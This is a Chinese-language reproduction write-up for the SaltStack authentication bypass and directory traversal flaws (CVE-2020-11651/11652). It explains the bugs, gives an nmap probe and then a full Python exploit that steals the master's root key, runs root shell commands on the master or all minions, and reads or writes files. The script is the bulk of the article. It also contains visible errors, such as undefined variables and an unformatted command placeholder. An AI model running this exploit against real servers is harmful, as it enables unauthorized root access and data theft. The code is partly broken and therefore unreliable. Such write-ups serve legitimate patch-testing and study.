SaltStack 远程命令执行漏洞复现(CVE-2020-11651)
SaltStack 是基于 Python 开发的一套 C/S 架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于 Python 语言实现,结合轻量级消息队列(ZeroMQ)与 Python 第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack 和 PyYAML 等)构建。
Salt 用于监视和更新服务器状态。每个服务器运行一个称为 minion
的代理程序,该代理程序连接到 master
主机,即 salt 安装程序,该安装程序从 Minions 收集状态报告并发布 Minions 可以对其执行操作的更新消息。通常,此类消息是对所选服务器配置的更新,但是它们也可以用于在多个(甚至所有)受管系统上并行并行运行同一命令。
salt 中的默认通信协议为 ZeroMQ。主服务器公开两个 ZeroMQ 实例,一个称为 请求服务器
,其中 minion
可以连接到其中报告其状态(或命令输出),另一个称为 发布服务器
,其中主服务器可以连接和订阅这些消息。
漏洞详情
影响版本
SaltStack < 2019.2.4 SaltStack < 3000.2
漏洞细节
身份验证绕过漏洞(CVE-2020-11651)
ClearFuncs 类在处理授权时,并未限制 _send_pub()
方法,该方法直接可以在发布队列消息,发布的消息会通过 root 身份权限进行执行命令。ClearFuncs 还公开了 _prep_auth_info()
方法,通过该方法可以获取到 root key
,通过获取到的 root key
可以在主服务上远程调用命令。
目录遍历漏洞(CVE-2020-11652)
whell 模块中包含用于在特定目录下读取、写入文件命令。函数中输入的信息与目录进行拼接可以绕过目录限制。
在 salt.tokens.localfs 类中的 get_token() 方法(由 ClearFuncs 类可以通过未授权进行调用)无法删除输入的参数,并且作为文件名称使用,在路径中通过拼接 ..
进行读取目标目录之外的文件。唯一的限制是文件必须通过 salt.payload.Serial.loads()
进行反序列化。
漏洞复现
nmap 探测端口
nmap -sV -p 4504,4506 IP
exp
#!/usr/bin/env python3
import argparse
import datetime
import os
import pip
import sys
import warnings
def install(package):
if hasattr(pip, "main"):
pip.main(["install", package])
else:
pip._internal.main(["install", package])
try:
import salt
import salt.version
import salt.transport.client
import salt.exceptions
except:
install("distro")
install("salt")
def ping(channel):
message = {
"cmd":"ping"
}
try:
response = channel.send(message, timeout=5)
if response:
return True
except salt.exceptions.SaltReqTimeoutError:
pass
return False
def get_rootkey(channel):
message = {
"cmd":"_prep_auth_info"
}
try:
response = channel.send(message, timeout=5)
for i in response:
if isinstance(i,dict) and len(i) == 1:
rootkey = list(i.values())[0]
return rootkey
except:
pass
return False
def minion(channel, command):
message = {
"cmd": "_send_pub",
"fun": "cmd.run",
"arg": ["/bin/sh -c \"{command}\""],
"tgt": "*",
"ret": "",
"tgt_type": "glob",
"user": "root",
"jid": "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()),
"_stamp": "{0:%Y-%m-%dT%H:%M:%S.%f}".format(datetime.datetime.utcnow())
}
try:
response = channel.send(message, timeout=5)
if response == None:
return True
except:
pass
return False
def master(channel, key, command):
message = {
"key": key,
"cmd": "runner",
"fun": "salt.cmd",
"kwarg":{
"fun": "cmd.exec_code",
"lang": "python3",
"code": f"import subprocess;subprocess.call(\"{command}\",shell=True)"
},
"user": "root",
"jid": "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()),
"_stamp": "{0:%Y-%m-%dT%H:%M:%S.%f}".format(datetime.datetime.utcnow())
}
try:
response = channel.send(message, timeout=5)
log("[ ] Response: " + str(response))
except:
return False
def download(channel, key, src, dest):
message = {
"key": key,
"cmd": "wheel",
"fun": "file_roots.read",
"path": path,
"saltenv": "base",
}
try:
response = channel.send(message, timeout=5)
data = response["data"]["return"][0][path]
with open(dest, "wb") as o:
o.write(data)
return True
except:
return False
def upload(channel, key, src, dest):
try:
with open(src, "rb") as s:
data = s.read()
except Exception as e:
print(f"[ ] Failed to read {src}: {e}")
return False
message = {
"key": key,
"cmd": "wheel",
"fun": "file_roots.write",
"saltenv": "base",
"data": data,
"path": dest,
}
try:
response = channel.send(message, timeout=5)
return True
except:
return False
def log(message):
if not args.quiet:
print(message)
if __name__=="__main__":
warnings.filterwarnings("ignore")
desc = "CVE-2020-11651 PoC"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("--host", "-t", dest="master_host", metavar=('HOST'), required=True)
parser.add_argument("--port", "-p", dest="master_port", metavar=('PORT'), default="4506", required=False)
parser.add_argument("--execute", "-e", dest="command", default="/bin/sh", help="Command to execute. Defaul: /bin/sh", required=False)
parser.add_argument("--upload", "-u", dest="upload", nargs=2, metavar=('src', 'dest'), help="Upload a file", required=False)
parser.add_argument("--download", "-d", dest="download", nargs=2, metavar=('src', 'dest'), help="Download a file", required=False)
parser.add_argument("--minions", dest="minions", default=False, action="store_true", help="Send command to all minions on master",required=False)
parser.add_argument("--quiet", "-q", dest="quiet", default=False, action="store_true", help="Enable quiet/silent mode", required=False)
parser.add_argument("--fetch-key-only", dest="fetchkeyonly", default=False, action="store_true", help="Only fetch the key", required=False)
args = parser.parse_args()
minion_config = {
"transport": "zeromq",
"pki_dir": "/tmp",
"id": "root",
"log_level": "debug",
"master_ip": args.master_host,
"master_port": args.master_port,
"auth_timeout": 5,
"auth_tries": 1,
"master_uri": f"tcp://{args.master_host}:{args.master_port}"
}
clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt="clear")
log(f"[+] Attempting to ping {args.master_host}")
if not ping(clear_channel):
log("[-] Failed to ping the master")
log("[+] Exit")
sys.exit(1)
log("[+] Attempting to fetch the root key from the instance.")
rootkey = get_rootkey(clear_channel)
if not rootkey:
log("[-] Failed to fetch the root key from the instance.")
sys.exit(1)
log("[+] Retrieved root key: " + rootkey)
if args.fetchkeyonly:
sys.exit(1)
if args.upload:
log(f"[+] Attemping to upload {src} to {dest}")
if upload(clear_channel, rootkey, args.upload[0], args.upload[1]):
log("[+] Upload done!")
else:
log("[-] Failed")
if args.download:
log(f"[+] Attemping to download {src} to {dest}")
if download(clear_channel, rootkey, args.download[0], args.download[1]):
log("[+] Download done!")
else:
log("[-] Failed")
if args.minions:
log("[+] Attempting to send command to all minions on master")
if not minion(clear_channel, command):
log("[-] Failed")
else:
log("[+] Attempting to send command to master")
if not master(clear_channel, rootkey, command):
log("[-] Failed")
漏洞利用
读取 root key
检测是否存在漏洞:
目录遍历
命令执行
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论